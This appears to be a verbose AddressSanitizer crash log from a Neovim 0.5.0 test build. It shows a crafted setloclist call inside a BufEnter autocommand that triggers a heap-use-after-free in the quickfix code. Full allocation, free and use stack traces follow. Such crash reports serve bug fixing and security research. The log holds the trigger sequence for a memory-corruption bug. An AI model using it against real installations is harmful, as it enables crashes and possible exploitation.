BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nline 5: unlet! b:keymap_name\n\nline 6: cal assert_fails('exe\"norm0j\\\"')\n\nline 6: exe\"norm0j\\\"\n\nline 6: norm0j^M\n\nSearching for \"lua/vim/_meta.lua\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/local/lib/nvim,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/lua/vim/_meta.lua\"\nSearching for \"/etc/xdg/nvim/lua/vim/_meta.lua\"\nSearching for \"/home/zzw/.local/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/local/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/local/share/nvim/runtime/lua/vim/_meta.lua\"line 6: .ll\n\nExecuting BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\n\nline 7: Xn\n\nline 7: verbose0lne\n=================================================================\n==20453==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000001538 at pc 0x000000cf37da bp 0x7ffca4d21190 sp 0x7ffca4d21188\nREAD of size 4 at 0x607000001538 thread T0\n    #0 0xcf37d9 in get_next_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2323:29\n    #1 0xcf3227 in get_nth_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2377:16\n    #2 0xcf213e in qf_get_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2436:16\n    #3 0xccce0e in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2993:12\n    #4 0xccc909 in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2950:3\n    #5 0xcd9d29 in ex_cnext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4681:3\n    #6 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #7 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #8 0x90b7c8 in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6107:9\n    #9 0x8daa81 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1962:5\n    #10 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #11 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #12 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #13 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #14 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #15 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #16 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #17 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #18 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #19 0x7ff47cefd082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x607000001538 is located 24 bytes inside of 72-byte region [0x607000001520,0x607000001568)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0xcf764a in qf_free_items /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3349:7\n    #3 0xce0cfd in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6342:5\n    #4 0xcdfea6 in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6715:14\n    #5 0x81dbd7 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8502:7\n    #6 0x7eb2ab in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8519:5\n    #7 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #8 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #9 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #10 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #11 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #12 0x6486c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1631:5\n    #13 0x64bc6d in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1277:10\n    #14 0x1095194 in win_enter_ext /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4446:7\n    #15 0x1097966 in win_enter /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4344:3\n    #16 0x107848a in win_goto /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4152:3\n    #17 0xcf571f in qf_goto_win_with_ll_file /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2611:3\n    #18 0xcf4a05 in qf_jump_to_usable_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2712:7\n    #19 0xcf2a3d in qf_jump_open_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2883:9\n    #20 0xcccfb4 in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3007:12\n    #21 0xccc909 in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2950:3\n    #22 0xcd93a5 in ex_cc /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4628:3\n    #23 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #24 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #25 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #26 0xcd19b8 in qf_view_result /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3503:3\n    #27 0xbcf797 in nv_down /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5322:5\n    #28 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #29 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n\npreviously allocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d65cd)\n    #1 0xb31f12 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb320e4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xce9b1c in qf_add_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1815:19\n    #4 0xcfe46f in qf_add_entry_from_dict /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6297:22\n    #5 0xce0edc in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6346:3\n    #6 0xcdfea6 in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6715:14\n    #7 0x81dbd7 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8502:7\n    #8 0x7eb2ab in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8519:5\n    #9 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #10 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #11 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #12 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #13 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #14 0x6486c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1631:5\n    #15 0x64bdaa in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1327:18\n    #16 0x651bf6 in open_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:321:3\n    #17 0x884d58 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2689:24\n    #18 0xcd2bdd in qf_open_new_cwindow /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3652:9\n    #19 0xcd1fa2 in ex_copen /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3714:9\n    #20 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #21 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #22 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #23 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #24 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #25 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #26 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #27 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #28 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #29 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2323:29 in get_next_valid_entry\nShadow bytes around the buggy address:\n  0x0c0e7fff8250: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd\n  0x0c0e7fff8260: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd\n  0x0c0e7fff8270: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd\n  0x0c0e7fff8280: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c0e7fff8290: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd\n=>0x0c0e7fff82a0: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fa fa fa\n  0x0c0e7fff82b0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c0e7fff82c0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd\n  0x0c0e7fff82d0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd\n  0x0c0e7fff82e0: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd\n  0x0c0e7fff82f0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==20453==ABORTING", "creation_timestamp": "2026-09-20T03:12:33.693561Z"}